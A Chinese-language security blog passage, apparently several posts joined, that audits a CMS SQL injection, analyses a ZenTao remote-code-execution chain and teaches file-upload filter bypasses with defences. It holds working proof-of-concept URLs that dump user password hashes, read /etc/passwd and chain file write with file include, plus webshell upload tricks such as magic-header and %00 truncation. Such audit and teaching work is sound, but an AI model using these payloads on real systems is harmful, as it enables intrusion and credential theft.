}
$s = substr( $s, 0, -4 );
$s .= ') AND ';

/*
$ids = implode(',', $v);
$s .= "$k IN ($ids) AND ";
*/
} else {
foreach ( $v as $k1 => $v1 ) {
if ( $k1 == 'LIKE' ) {
$k1 = ' LIKE ';
$v1 = "%$v1%";
}
$v1 = ( is_int( $v1 ) || is_float( $v1 ) || $k1=='=' || $k1=='BETWEEN ' ) ? $v1 : "'" . ( $v1 ) . "'";
$s .= "`$k`$k1$v1 AND ";
}
}
}
$s = substr( $s, 0, -4 );
} else {
$s .= $where;
}
}
return $s;
}

分析函数逻辑可知最终返回值 $s 为:

1
$s = " where (`id`='xxx')"    //xxx 即为 post 传递的 id 的值

最终执行的 sql 语句为:

1
DELETE FROM zzz_sms where (`id`='xxx');

因此我们可以通过构造 /plugins/sms/sms_list.php 中可控参数 act 和 id 的值达到 sql 注入的效果,例如:
www.zzz172.com 为虚拟域名)

02

但由于 zzz_sms 表中没有数据,所以没有达到预期结果。如果我们在 zzz_sms 中插入一条数据:

1
insert into zzz_sms (id) values (1);

随后我们发现页面延迟显示,从而验证此处的确存在漏洞。

修复建议

从漏洞分析过程中可以发现关键点是 /inc/zzz_main.php 中的 txt_html() 函数对数组的处理不当,因此最简单直接的修复方法就是加固此处的数组处理,将数组中键值的过滤处理写回到数组中。

总结

此处的 sql 注入漏洞的主要原因是 /inc/zzz_main.php 中 txt_html() 函数对传入的数组参数处理不当,而 getform() 函数的参数又可控,二者结合形成了漏洞。在 /plugins/sms/sms_list.php 中利用该漏洞完成 sql 注入。但完成 sql 注入的前提是 zzz_sms 表中存在数据,因此该漏洞虽然没有暴露,但存在极大的安全隐患。


禅道全版本rce漏洞分析

zentaoPHP 框架

zentaoPHP 支持 MVC 开发模式,框架的核心只有四个文件,分别为调度类 router.class.php,控制类 control.class.php,模块类 model.class.php 和工具类 helper.class.php。

支持GET和PATH_INFO两种方式调用

  1. GET

    可以在config/my.php里面设置requestType为GET来启用GET方式。当打开GET方式之后,访问地址格式为:www/index.php?m=$moduleName&f=$methodName&$param1=$value1&param2=valur2&t=html

    m: 代表模块名称,比如 m=blog,则代表访问 blog 模块。

    f: 代表要访问的模块下 control.php 里面的方法名,比如 f=edit,代表访问 blog/control.php 里面定义的 edit 方法。

    t: 代表模板类型,默认是 html,比如 f=edit&t=html,对应的模板文件是 blog/view/edit.html.php。

    其他的都是参数,也就是变量中指定的方法的参数。比如 id=1,则代表终调用 blog/control.php 里面的 edit 方法,并向其传 id=1 的参数。

  2. PATH_INFO

    需要 webserve r的 url 重写支持。如果是使用 apache 作为 webserver 的话,框架已经自带了 .htaccess 文件,里面已经包含了 url 重写规则;如果是 nginx,需要配置参数。

审计

在复现漏洞之前先得看一下代码,理解框架的基本结构和路由信息。从 /www/index.php 开始审计,第 66 行处理网页请求,从这里跟进到 /framework/base/router.class.php 第 1005 行,分析一下框架的路由处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function parseRequest()
{
if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
{
$this->parsePathInfo();
$this->setRouteByPathInfo();
}
elseif($this->config->requestType == 'GET')
{
$this->parseGET();
$this->setRouteByGET();
}
else
{
$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
}
}

parseRequest() 方法的功能是根据请求的类型(PATH_INFO 或 GET)去调用相应的方法。

如果是PATH_INFO 模式,调用parsePathInfo() 方法,获取 $URI$viewType 的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
$pathInfo = $this->getPathInfo();
if(!empty($pathInfo))
{
$dotPos = strrpos($pathInfo, '.');
if($dotPos)
{
$this->URI = substr($pathInfo, 0, $dotPos);
$this->viewType = substr($pathInfo, $dotPos + 1);
if(strpos($this->config->views, ',' . $this->viewType . ',') === false)
{
$this->viewType = $this->config->default->view;
}
}

再调用 setRouteByPathInfo() 方法,分割网址得到模板名和方法名;在 /config/config.php 中可以看到路由的相关配置:$config->requestFix = '-';

1
2
3
4
5
6
if(strpos($this->URI, $this->config->requestFix) !== false)
{
$items = explode($this->config->requestFix, $this->URI);
$this->setModuleName($items[0]);
$this->setMethodName($items[1]);
}

跟进 setModuleName() 和 setMethodName() 方法会发现这里对 moduleName 和 methodName 的值都进行了检查,控制模板名和方法名都必须是字母和数字的组合,从而过滤了 ../ 这样的非法路径,防范了任意文件读取漏洞。

然后调用 setControlFile() 方法设置控制器文件。

1
2
3
4
5
6
public function setControlFile($exitIfNone = true)
{
$this->controlFile = $this->moduleRoot . $this->moduleName . DS . 'control.php';
if(file_exists($this->controlFile)) return true;
$this->triggerError("the control file $this->controlFile not found.", __FILE__, __LINE__, $exitIfNone);
}

最终调用的是 /module/moduleName/control.php 下的 methodName 方法。

之后会调用 loadModule() 方法,先通过 php 反射机制获取 className 下 methodName 方法的参数默认值;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$defaultParams = array();
$methodReflect = new reflectionMethod($className, $methodName);
foreach($methodReflect->getParameters() as $param)
{
$name = $param->getName();

$default = '_NOT_SET';
if(isset($paramDefaultValue[$appName][$className][$methodName][$name]))
{
$default = $paramDefaultValue[$appName][$className][$methodName][$name];
}
elseif(isset($paramDefaultValue[$className][$methodName][$name]))
{
$default = $paramDefaultValue[$className][$methodName][$name];
}
elseif($param->isDefaultValueAvailable())
{
$default = $param->getDefaultValue();
}

$defaultParams[$name] = $default;
}

然后再根据 PATH_INFO 模式获取实际请求的参数值:

1
2
3
4
if($this->config->requestType != 'GET')
{
$this->setParamsByPathInfo($defaultParams);
}

跟进 setParamsByPathInfo() 方法,这里的分隔符 $config->requestFix = '-' 。分割 URI 的前两项为前面分析的模块名和方法名,从第三项开始取出参数名以及参数值,和默认参数值进行合并。

所以实际的路由为 /moduleName-Methodname-param=value ,多个参数之间以 - 连接。 经过路由解析后会调用 /module/moduleName/control.php 下的 methodName 方法,然后将参数 param=value 传递给该方法,从而实现相应的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function setParamsByPathInfo($defaultParams = array(), $type = '')
{
$params = array();
if($type != 'fetch')
{
/* 分割URI。 Spit the URI. */
$items = explode($this->config->requestFix, $this->URI);
$itemCount = count($items);

/**
* 前两项为模块名和方法名,参数从下标2开始。
* The first two item is moduleName and methodName. So the params should begin at 2.
**/
for($i = 2; $i < $itemCount; $i ++)
{
$key = key($defaultParams); // Get key from the $defaultParams.
if(empty($key)) continue;

$params[$key] = $items[$i];
next($defaultParams);
}
}

$this->params = $this->mergeParams($defaultParams, $params);
}

当然,禅道对不同的身份进行了权限检测,很好的防止了用户的越权操作,从 /www/index.php 第 67 行跟进到 /module/common/model.php 中第1373行 的鉴权函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function checkPriv()
{
$module = $this->app->getModuleName();
$method = $this->app->getMethodName();
if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
if($this->isOpenMethod($module, $method)) return true;
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();

if(isset($this->app->user))
{
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
}
else
{
$referer = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}

漏洞分析

漏洞代码位于 /module/api/control.php 文件下的 getModel() 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function getModel($moduleName, $methodName, $params = '')
{
$params = explode(',', $params);
$newParams = array_shift($params);
foreach($params as $param)
{
$sign = strpos($param, '=') !== false ? '&' : ',';
$newParams .= $sign . $param;
}

parse_str($newParams, $params);
$module = $this->loadModel($moduleName);
$result = call_user_func_array(array(&$module, $methodName), $params);
if(dao::isError()) die(json_encode(dao::getError()));
$output['status'] = $result ? 'success' : 'fail';
$output['data'] = json_encode($result);
$output['md5'] = md5($output['data']);
$this->output = json_encode($output);
die($this->output);
}

根据禅道路由的特性会将 PATH_INFO 格式的参数赋值给 getModule() 方法,因此这里的 moduleName, methodName, params 参数均可控。分析代码逻辑可知 params 经过 explode(), paese_str() 等函数后将参数解析成了变量,比如 params 对应位置的参数为 user=carota,那么就会传递 user 变量。之后调用 loadModel() 方法加载相应的模块,接着 通过 call_user_func_array() 函数调用 module 下的 methodName 方法,并将 params 作为参数传递。

跟进 /framework/control.class.php 下的 loadModel() 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function loadModel($moduleName = '', $appName = '')
{
$appName = '';

if(empty($moduleName)) $moduleName = $this->moduleName;
if(empty($appName)) $appName = $this->appName;

global $loadedModels;
if(isset($loadedModels[$appName][$moduleName]))
{
$this->$moduleName = $loadedModels[$appName][$moduleName];
$this->dao = $this->$moduleName->dao;
return $this->$moduleName;
}

$modelFile = $this->app->setModelFile($moduleName, $appName);

通过动态调试可以发现,只要构造正确的 PATH_INFO 模式的路径就可以调用所有的模块;也就是说,通过 getModel() 方法做跳板,禅道 module 下的所有功能的 model.php 都可以越权调用。

但是禅道对每个用户的权限进行了检测,也就是说还需要判断是否任意用户都能调用 api 模块下的 getModel() 方法。我们以该漏洞来获取管理员密码进行动态审计,最终能发现任意用户都能调用 getModel() 方法,因此借助这个跳板我们可以发现一些漏洞。

poc : http://localhost:8888/zentao/www//api-getModel-user-getRealNameAndEmails-user=admin

01

漏洞利用

sql 注入

漏洞代码位于 /module/api/model.php 下的 sql() 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function sql($sql, $keyField = '')
{
$sql = trim($sql);
if(strpos($sql, ';') !== false) $sql = substr($sql, 0, strpos($sql, ';'));
a($sql);
if(empty($sql)) return '';

if(stripos($sql, 'select ') !== 0)
{
return $this->lang->api->error->onlySelect;
}
else
{
try
{
$stmt = $this->dao->query($sql);
if(empty($keyField)) return $stmt->fetchAll();
$rows = array();
while($row = $stmt->fetch()) $rows[$row->$keyField] = $row;
return $rows;
}
catch(PDOException $e)
{
return $e->getMessage();
}
}
}

poc : http://localhost:8888/zentao/www/api-getModel-api-sql-sql=select+account,password+from+zt_user

02

文件读取

漏洞代码位于 /module/file/model.php 下的parseCSV() 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function parseCSV($fileName)
{
$content = file_get_contents($fileName);
/* Fix bug #890. */
$content = str_replace("\x82\x32", "\x10", $content);
$lines = explode("\n", $content);

$col = -1;
$row = 0;
$data = array();
foreach($lines as $line)
{
$line = trim($line);
$markNum = substr_count($line, '"') - substr_count($line, '\"');
if(substr($line, -1) != ',' and (($markNum % 2 == 1 and $col != -1) or ($markNum % 2 == 0 and substr($line, -2) != ',"' and $col == -1))) $line .= ',';
$line = str_replace(',"",', ',,', $line);
$line = str_replace(',"",', ',,', $line);
$line = preg_replace_callback('/(\"{2,})(\,+)/U', array($this, 'removeInterference'), $line);
$line = str_replace('""', '"', $line);

poc : http://localhost:8888/zentao/www/api-getModel-file-parseCSV-filename=/etc/passwd

03

rce

这个 rce 其实是文件写入和文件包含的组合拳,最终达到远程命令执行的目的。

先找文件写入漏洞,漏洞代码在 module/editor/model.php 下的 save() 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function save($filePath)
{
$fileContent = $this->post->fileContent;
$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

$dirPath = dirname($filePath);
$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
if(is_writable($dirPath))
{
file_put_contents($filePath, $fileContent);
}
else
{
die(js::alert($this->lang->editor->notWritable . $extFilePath));
}
}

分析代码逻辑,fileContent 必须通过 post 方式传参,之后对 fileContent 字符串的内容进行了黑名单过滤。有意思的是,代码逻辑看起来是想过滤危险函数及符号,但是粗心的开发人员将 str_ireplace() 函数的参数位置写反了,导致这里的过滤形同虚设。(我刚开始看的时候也没有发现,所以说开发需谨慎。)

我们可以看一下 str_ireplace() 函数的官方文档加深印象:

str_ireplace
(PHP 5, PHP 7)

str_ireplace — str_replace() 的忽略大小写版本

说明
str_ireplace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] ) : mixed
该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换(忽略大小写)之后的结果。如果没有一些特殊的替换规则,你应该使用该函数替换带有 i 修正符的 preg_replace() 函数。

继续分析,is_writeable() 函数对 filePath 作了可写限制,因此我们可以写在 /tmp 目录下,一是路径可控,二是没有权限限制。然后就可以通过 post 方式传值给 fileContent再写入文件中,供后面文件包含时使用。

04

查看对应文件确认已写入:

05

接下来寻找文件包含,漏洞代码在 module/api/model.php 下的 getMethod() 方法。

1
2
3
4
5
6
public function getMethod($filePath, $ext = '')
{
$fileName = dirname($filePath);
$className = basename(dirname(dirname($filePath)));
if(!class_exists($className)) helper::import($fileName);
$methodName = basename($filePath);

注意这里的 filePath 经过 dirname() 函数后返回的是父目录,想要利用我们写入的文件就必须多加一层物理路径。跟进后跳转到 /framework/base/helper.class.php 下的 import() 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static public function import($file)
{
$file = realpath($file);
if(!is_file($file)) return false;

static $includedFiles = array();
if(!isset($includedFiles[$file]))
{
include $file;
$includedFiles[$file] = true;
return true;
}

return true;
}

分析可知这就是 import() 函数的功能,因此就可以轻松的包含之前写入的文件。

06

修复建议

原作者有讲在 zentao 其他版本上也存在该漏洞,而且存在同样地接口,所以简单粗暴的方法就是删除这个 getModel 接口。

参考

http://foreversong.cn/archives/1410

http://llfam.cn/2019/09/13/%E5%AE%A1%E8%AE%A1%E6%80%9D%E8%80%83%E4%B9%8B%E5%AE%9A%E4%BD%8D%E6%BC%8F%E6%B4%9E/

http://devel.cnezsoft.com/book/zentaophphelp/about-10.html


文件上传漏洞学习

前置知识

什么是文件上传漏洞

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者过滤不当,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。这里上传的文件可以是木马、病毒、恶意脚本或者 webshell 等。大多数的上传漏洞被利用后攻击者都会留下 webshell 以方便后续进入系统。

webshell

webshell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境,也可称之为网页后门。攻击者在入侵一个网站后通常会将这些 asp 或 php 后门文件与网站服务器 web 目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的。

文件上传漏洞的原因及原理

原因

  1. 对于上传文件的后缀名(扩展名)没有做较为严格的限制
  2. 对于上传文件的 mime type 没有做检查
  3. 权限上没有对于上传的文件目录设置不可执行权限
  4. web server 对于上传文件或者指定目录的行为没有做限制

原理

文件上传时,如果服务端代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件。

PHP中$_FILES数组的使用方法

1
2
3
4
$_FILES['file']['name'] 客户端文件名称
$_FILES['file']['type'] 文件的MIME类型
$_FILES['file']['size'] 文件大小 单位字节
$_FILES['file']['tmp_name'] 文件被上传后在服务器端临时文件名,可以在php.ini中指定

文件上传校验流程

01.png

  • 客户端 JavaScript 校验(一般只校验后缀名)
  • 服务端校验
    • content-type 字段校验(image/gif)
    • 文件内容头校验(gif89a)
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  • WAF 设备校验

客户端 JS 校验

校验机制

客户端JS验证通常做法是验证上传文件的扩展名是否符合验证条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
//文件上传漏洞演示脚本之js验证
$uploaddir = 'uploads/';
if (isset($_POST['submit'])) {
if (file_exists($uploaddir)) {
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
echo '文件上传成功,保存于:' . $uploaddir . $_FILES['upfile']['name'] . "\n";
}
} else {
exit($uploaddir . '文件夹不存在,请手工创建!');
}
//print_r($_FILES);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=gbk"/>
<meta http-equiv="content-language" content="zh-CN"/>
<title>文件上传漏洞演示脚本--JS验证实例</title>
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upfile')[0].value;
if (file == null || file == "") {
alert("你还没有选择任何文件,不能上传!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//alert(ext_name);
//alert(ext_name + "|");
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
<body>
<h3>文件上传漏洞演示脚本--JS验证实例</h3>
<form action="" method="post" enctype="multipart/form-data" name="upload" onsubmit="return checkFile()">
<input type="hidden" name="MAX_FILE_SIZE" value="204800"/>
请选择要上传的文件:<input type="file" name="upfile"/>
<input type="submit" name="submit" value="上传"/>
</form>
</body>
</html>

判断方式

在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传 .jpg/.jpeg/.png 后缀名的文件。因为此时并没有发送数据包,说明是前端 JS 校验。

绕过方法

  • 通过浏览器禁用 JS 或者修改 JS 代码绕过验证。
  • 使用 burp 抓包改包,首先把需要上传的文件后缀改成允许上传的如 jpg、png、gif 等,绕过 JS 验证后再抓包,把后缀名改成可执行的后缀即可上传成功。

content-type 字段校验(服务器 MIME 类型检测)

MIME

MIME type 的缩写为(Multipurpose Internet Mail Extensions),代表互联网媒体类型(Internet media type)。MIME 使用一个简单的字符串组成,最初是为了标识邮件Email附件的类型,在 html 文件中可以使用 content-type 属性表示,描述了文件类型的互联网标准。

MIME类型格式:类别/子类别;参数

Content-Type: [type]/[subtype]; parameter

MIME 主类别:

  • text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;
  • Multipart:用于连接消息体的多个部分构成一个消息,这些部分可以是不同类型的数据;
  • Application:用于传输应用程序数据或者二进制数据;
  • Message:用于包装一个E-mail消息;
  • Image:用于传输静态图片数据;
  • Audio:用于传输音频或者音声数据;
  • Video:用于传输动态影像数据,可以是与音频编辑在一起的视频数据格式。

常见 MIME 类型:

名称 扩展名 MIME 类型
超文本标记语言文本 .htm , .html text/html
普通文本 .txt text/plain
RTF 文本 .rtf application/rtf
GIF 图形 .gif image/gif
JPEG 图形 .jpeg , .jpg image/jpeg
au 声音文件 .au audio/basic
MIDI 音乐文件 .mid , .midi audio/midi , audio/x-midi
RealAudio 音乐文件 .ra , .ram audio/x-pn-realaudio
MPEG 文件 .mpg , .mpeg video/mpeg
AVI 文件 .avi video/x-msvideo
GZIP 文件 .gz application/x-gzip
TAR 文件 .tar application/x-tar
JSON 文件 .json application/json
PNG 图形 .png image/png

验证代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_FILES['userfile']['type'] != "image/gif") #这里对上传的文件类型进行判断,如果不是image/gif类型便返回错误。
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>

绕过方法

如果服务端代码是通过 content-type 的值来判断文件的类型,那么就存在被绕过的可能。因为 content-type 的值是通过客户端传递的,是可以任意修改的。所以使用 burp 截断上传数据包,修改 content-type 的值,改为 image/gif 即可成功绕过。

文件头内容检验

校验机制

利用每个特定类型的文件都会有不太一样的开头或者标志位。在正常情况下通过判断前10个字节基本上就能判断出一个文件的真实类型。

图片文件通常有称作幻数的头字节:

文件格式 文件头
jpg FF D8 FF E0 00 4A 46 49 46
gif 47 49 46 38 39 61(相当于文本的GIF89a)
png 89 50 4E 47 0D 0A 1A 0A

绕过方法

在上传的脚本加上相应的幻数头字节,比如 php 引擎会将 <? 之前的内容当作 html 文本,不解释而跳过之,后面的 php 代码仍然能够得到执行。(一般不限制图片文件格式的时候使用 GIF 的头比较方便,因为全都是文本可打印字符。)

1
2
GIF89a
<?php phpinfo(); ?>

文件后缀名黑名单校验

通常有一个专门的 blacklist 文件,里面会包含常见的危险脚本后缀名。

示例代码

1
2
3
4
5
6
7
8
9
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if(in_array($file_ext, $deny_ext)) {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}

绕过方法

  1. 寻找后缀名黑名单漏网之鱼:比如 asa、cer 等

  2. 可能存在的大小写绕过漏洞:比如 pHp、ASp 等

    能被解析的文件扩展名列表:
    jsp jspx jspf
    asp asa cer aspx
    php php php3 php4
    exe exee

  3. 配合操作系统命名规则绕过

    (1)上传不符合 Windows 文件命名规则的文件名

    1
    2
    3
    4
    test.asp.
    test.asp(空格)
    test.php:1.jpg
    test.php:: $DATA

    会被 Windows 系统自动去掉不符合规则符号后面的内容。

    (2)借助系统特性突破扩展名验证,如:test.php_(在 Windows 下,下划线是空格,保存文件时下划线被吃掉剩下test.php)。

  4. 后缀名双写绕过替换限制:这里用 str_ireplace() 函数,对黑名单中的文件类型替换成空,但是我们可以利用双写绕过这个限制,如 1.pphphp ,替换 php 为空,则剩下为 php 了。

    1
    2
    3
    $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = str_ireplace($deny_ext,"", $file_name);

文件后缀名白名单校验

当浏览器将文件提交到服务器端的时候,服务器端会根据设定的白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不在白名单内,则不予上传,否则上传成功。白名单策略是更加安全的。

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/.rand(10, 99).date("YmdHis").".".$file_ext;
}

$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/.rand(10, 99).date("YmdHis").".".$file_ext;
}

绕过方法

%00 截断

原理:由于 00 代表结束符,所以会把 00 后面的所有字符删除。

条件:php 版本<5.3.4,php 的 magic_quotes_gpc 为 off 状态。

1
2
3
4
5
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/.rand(10, 99).date("YmdHis").".".$file_ext;

%00 截断和 0x00 截断有什么区别呢?其实他们的截断原理都一样,只是在 GET 请求中,%00 会被自动解码,而在 POST 请求中,不会自动解码,故在 POST 请求中,我们需要手动对它的十六进制改写为 0x00。

比如:upfilename=path & file

如果 path 可控,那么 upfilename=upload/1.php%00 & 1.jpg => upfilename=upload/1.php

如果 file 可控,那么 upfilename=upload/ & 1.php%00.jpg => upfilename=upload/1.php

漏洞防护

  1. 文件上传的目录设置为不可执行

    只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。

  2. 判断文件类型

    在判断文件类型时,可以结合使用 MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的 HTML 代码。

  3. 使用随机数改写文件名和文件路径

    文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像 shell.php.rar.rar 和 crossdomain.xml 这种文件,都将因为重命名而无法攻击。

  4. 单独设置文件服务器的域名

    由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含 Javascript 的 XSS 利用等问题将得到解决。

参考

https://paper.seebug.org/560/

https://www.cnblogs.com/shellr00t/p/6426945.html

https://www.jianshu.com/p/5ebba0482980

https://blog.csdn.net/a15803617402/article/details/83003152

https://blog.csdn.net/u014609111/article/details/52701827

https://blog.csdn.net/sdb5858874/article/details/80669263